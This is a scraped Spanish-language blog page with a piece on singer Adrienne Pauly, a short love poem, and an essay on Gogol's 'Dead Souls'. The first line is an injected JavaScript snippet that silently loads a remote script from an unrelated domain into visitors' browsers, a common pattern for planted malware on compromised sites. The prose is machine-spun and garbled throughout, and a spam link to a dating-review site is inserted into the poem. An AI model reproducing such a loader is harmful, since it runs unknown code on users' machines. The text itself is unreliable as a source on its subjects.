;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Las canciones de Adrienne Pauly, cuajadas de humor y acidez, huelen a tabaco y alcohol. Son igual que cortometrajes por los que deambulan hembras fatales, cajeras sobre supermercado, chicas perdidas en viejas discotecas en busca de su principe azul: “J’veux un mec” (deseo un tio), grita una de ellas. – Eydís — Ljósmyndun

Las canciones de Adrienne Pauly, cuajadas de humor y acidez, huelen a tabaco y alcohol. Son igual que cortometrajes por los que deambulan hembras fatales, cajeras sobre supermercado, chicas perdidas en viejas discotecas en busca de su principe azul: “J’veux un mec” (deseo un tio), grita una de ellas.

Las canciones de Adrienne Pauly, cuajadas de humor y acidez, huelen a tabaco y alcohol. Son igual que cortometrajes por los que deambulan hembras fatales, cajeras sobre supermercado, chicas perdidas en viejas discotecas en busca de su principe azul: “J’veux un mec” (deseo un tio), grita una de ellas.

El reencuentro sobre Adrienne con la cancion se produce en 2002, animada por el musico frances, sobre ascendencia panameno, Camilla Bazbaz. 2 anos mas tarde, ya dispone de relacion una maqueta con 5 canciones que envia a los productores de estas discograficas contiguo a un cuadernillo, que imaginamos similar al que hoy por hoy encontramos en su album y en el que se incluyen recortes con las letras de las canciones, dibujos, fotos, flechas… ademas en 2004, realiza su primer concierto desplazandolo hacia el pelo, en octubre sobre 2006, aparece su primer disco, que no dispone de mas titulo que su personal sustantivo desplazandolo hacia el pelo apellido.

Adrienne es un prototipo de chica que me fascina: inteligente, independiente, dificil, con caracter aunque a un lapso con exacto viento sobre “charme” indefinido. Con la novia podrias pasar del apego al odio, y no ha transpirado de alli a la reconciliacion asi­ como a la emocion en disputa sobre horas. Prototipo sobre chica fatal, aunque mas bien a la francesa, lo cual dista abundante del concepto indiano sobre “femme fatale”, Adrienne encarna, como consecuencia de sus canciones, esa chica a la que todo el mundo deseamos, con la que quisieramos ocurrir toda nuestra vida, aunque probablemente terminaramos muriendo en el intento.

miercoles, 6 sobre agosto de 2008

6 sobre agosto de 2008

Trato sobre escribir en la oscuridad tu nombre.Trato de escribir que te amo.Trato sobre hablar de a oscuras al completo lo cual. No deseo que ninguna persona se entere,que nadie me mire a las tres sobre la manana paseando sobre un flanco a otro sobre la estancia,loco, lleno http://besthookupwebsites.net/es/quickflirt-review/ de ti, enamorado. Iluminado, ciego, lleno sobre ti, derramandote.Digo tu apelativo con al completo el mutismo sobre la noche, lo grita mi corazon amordazado.Repito tu sustantivo, vuelvo a decirlo, lo digo incansablemente,y estoy seguro que habra sobre amanecer.

martes, cinco de agosto de 2008

Un escaso de literatura rusa.

Al igual que bastantes companeros bloggeros, la literatura rusa me fascina. Era chiquito (relativamente) cuando lei “Humillados y no ha transpirado ofendidos” y Ahora por lo tanto me gusto. A partir de ese momento inicie un trayecto a traves de los desmedidos autores que Rusia ha hexaedro al universo Con El Fin De goce sobre lectores avidos (igual que yo) sobre buenas historias con transfondo psicologico y social.

Nikolai Gogol es, con su tarea ” Almas muertas “, al ala de Dostoievsky , el escritor ruso que mas hondo ha conseguido calar en mi.

” Almas muertas “, creada entre 1826 y no ha transpirado 1842 mayoritareamente en Roma, a donde Gogol paso ese lapso, seri­a la trabajo considerada igual que su preferible empleo asi­ como la de las mayores novelas sobre la literatura universal. En su estructura, ” Almas muertas ” es similar al Don idealista de Cervantes. No obstante, su extraordinaria vena humoristica se deriva sobre una concepcion sola, extremadamente sardonica: el guia colegial Pavel Ivanovich Chichikov, un aprovechado ambicioso, astuto desplazandolo hacia el pelo falto de escrupulos, va sobre un punto a otro comprando, robando asi­ como estafando de conseguir los titulos de hacienda de las sirvientes que aparecen en los censos anteriores aunque que han muerto recientemente, debido a que se les llamaba ‘almas muertas’. Con estas ‘propiedades’ como aval, planea conseguir un reputacion Con El Fin De adquirir la patrimonio con ‘almas vivas’.

Las viajes de Chichikov ofrecen una circunstancia ideal al autor de utilizar profundas reflexiones sobre la degradante asi­ como sofocante importancia sobre la servidumbre, tanto para el siervo igual que para el amo. En esta trabajo se muestran asimismo un gran cantidad de personajes, brillantemente descritos, de la Rusia rural. Almas muertas fue un maqueta para las generaciones posteriores de escritores rusos. Tambien, muchos de las ingeniosos proverbios que aparecen a lo dilatado sobre la narracion, han entrado a formar pieza del refranero ruso. En la ocasion de su publicacion, Almas muertas estaba llamada a constituir Durante la reciente pieza sobre una tarea mas gran; Gogol comenzo an escribir la continuacion pero, en un ataque de melancolia debido an una crisis religiosa, quemo el manuscrito.

Todo el mundo estos personajes llega a retratar Gogol con suma precision y no ha transpirado con la descripcion tan aguda asi­ como llena sobre viveza que asistimos en si a un cuadro preciso sobre caracteres construidos no a base de gente reales sino sobre la mente del autor que nos asistencia a presentar su misma perspectiva sobre la certeza que lo pone como a contribuidor al desarrollo del planteamiento . Ante todo Gogol pone como tarea del periodista el trabajo al incremento humano desplazandolo hacia el pelo pretende en esta novela, mas alla sobre un tono moralizante que pretende colaborar an incrementar la condicion sobre su Rusia originario, concluye que la misma redencion de la colectividad rusa es llevada a cabo por el camino del cristianismo y no ha transpirado la preservacion de la identidad del pais ruso. Pese a que no seri­a un critico radical de las instituciones sociales sobre su estado Gogol desnuda con su implacable satira la triste desplazandolo hacia el pelo deplorable requisito que se cierne en la Rusia zarista desplazandolo hacia el pelo predice el desmoronamiento total del metodo despues de su irremediable caida.

Seri­a en cualquier modo una piedad que exista quedado inconclusa esta obra maestra; aqui no obstante es necesario decir sobre ese intercambio sobre estilo en la segunda parte que demuestra ante todo el tono redentor del autor. Gogol tenia la intencion de que la tarea constaria de 3 partes que seria cada una el equivalente de estas tres zonas sobre la divina comedia: Infierno, Purgatorio desplazandolo hacia el pelo paraiso. La segunda pieza contiene personajes menor banales y no ha transpirado que muestran algunas honrosas cualidades, pero en velocidades el sentido del humor aparece menos desplazandolo hacia el pelo los caracteres nunca lograr an igual de nefasto luminosos como los de la primera parte pero destaquen el correcto y no ha transpirado ansioso de la alimento Pteukh desplazandolo hacia el pelo la virtuosidad de Murazov, personaje que representa el espiritu cristiano universal y ese anhelo moral que Gogol considera lo necesario de la elevacion moral del acontecer humano.

Leave a Reply

Your email address will not be published. Required fields are marked *